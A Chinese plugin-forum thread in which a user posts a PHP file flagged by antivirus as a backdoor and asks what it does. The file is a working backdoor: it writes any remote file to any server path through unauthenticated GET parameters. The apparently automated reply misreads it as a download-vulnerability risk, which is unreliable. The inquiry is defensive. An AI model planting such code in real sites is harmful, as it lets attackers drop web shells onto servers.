有懂这个代码的吗？杀毒软件提示有“已知后门 ”

镖师 · 发表于 2024-10-10 22:10:24

马上注册，免费下载更多dz插件网资源。

您需要登录才可以下载或查看，没有账号？立即注册

×

<?phpset_time_limit(0);if(isset($_GET['url']) && isset($_GET['filename'])){ if(httpcopy($_GET['url'], $_GET['filename'])){ echo("Done."); }else{ echo("Down Error."); }}else{ die('Input error.');}function httpcopy($url, $file="", $timeout=60) { $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; $dir = pathinfo($file,PATHINFO_DIRNAME); !is_dir($dir) && @mkdir($dir,0755,true); $url = str_replace(" ","%20",$url); if(function_exists('curl_init')) { echo "curl "; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $temp = curl_exec($ch); if(@file_put_contents($file, $temp) && !curl_error($ch)) { return $file; } else { return false; } } else { echo "copy "; $opts = array( "http"=>array( "method"=>"GET", "header"=>"", "timeout"=>$timeout) ); $context = stream_context_create($opts); if(@copy($url, $file, $context)) { //$http_response_header return $file; } else { return false; } }}?>

复制代码

©DZ插件网所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。
网站部分内容来源于网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，得到更好的正版服务。
您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。
如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解！

IT618发布 · 发表于 2024-10-10 22:10:56

这段代码是一个简单的 PHP 脚本，用于从指定的 URL 下载文件并保存到服务器上。它使用了两种不同的方法来实现文件下载：cURL 和 PHP 的内置 `copy` 函数。

以下是代码的主要功能和步骤：

1. 设置脚本的最大执行时间为无限，这样即使下载需要很长时间，脚本也不会因为超时而中断。

2. 检查是否通过 GET 请求传递了 `url` 和 `filename` 参数。如果没有，脚本将输出错误信息并终止执行。

3. 如果提供了必要的参数，脚本将调用 `httpcopy` 函数来下载文件。

4. `httpcopy` 函数接受三个参数：文件的 URL、要保存的文件名（如果为空，则使用 URL 中的文件名），以及超时时间。

5. 函数首先检查是否提供了文件名，如果没有，则从 URL 中提取文件名。

6. 然后检查文件名指定的目录是否存在，如果不存在，则尝试创建该目录。

7. 使用 `str_replace` 函数将 URL 中的空格替换为 `%20`，以确保 URL 格式正确。

8. 如果服务器支持 cURL，脚本将使用 cURL 来下载文件。设置 cURL 的选项，包括超时时间和返回传输数据。然后执行 cURL 请求，并将结果保存到文件中。如果下载成功且没有错误，函数返回文件路径。

9. 如果服务器不支持 cURL，则使用 PHP 的 `stream_context_create` 函数创建一个上下文，然后使用 `copy` 函数尝试下载文件。如果下载成功，函数返回文件路径。

10. 如果使用 cURL 或 `copy` 函数下载文件失败，函数返回 `false`。

请注意，这段代码可能存在安全风险，因为它允许通过 URL 参数直接下载文件，这可能导致任意文件下载漏洞。在实际应用中，应该对输入的 URL 进行严格的验证和过滤，以防止潜在的安全问题。此外，这段代码没有处理 HTTP 重定向，如果目标 URL 发生重定向，可能会导致下载失败。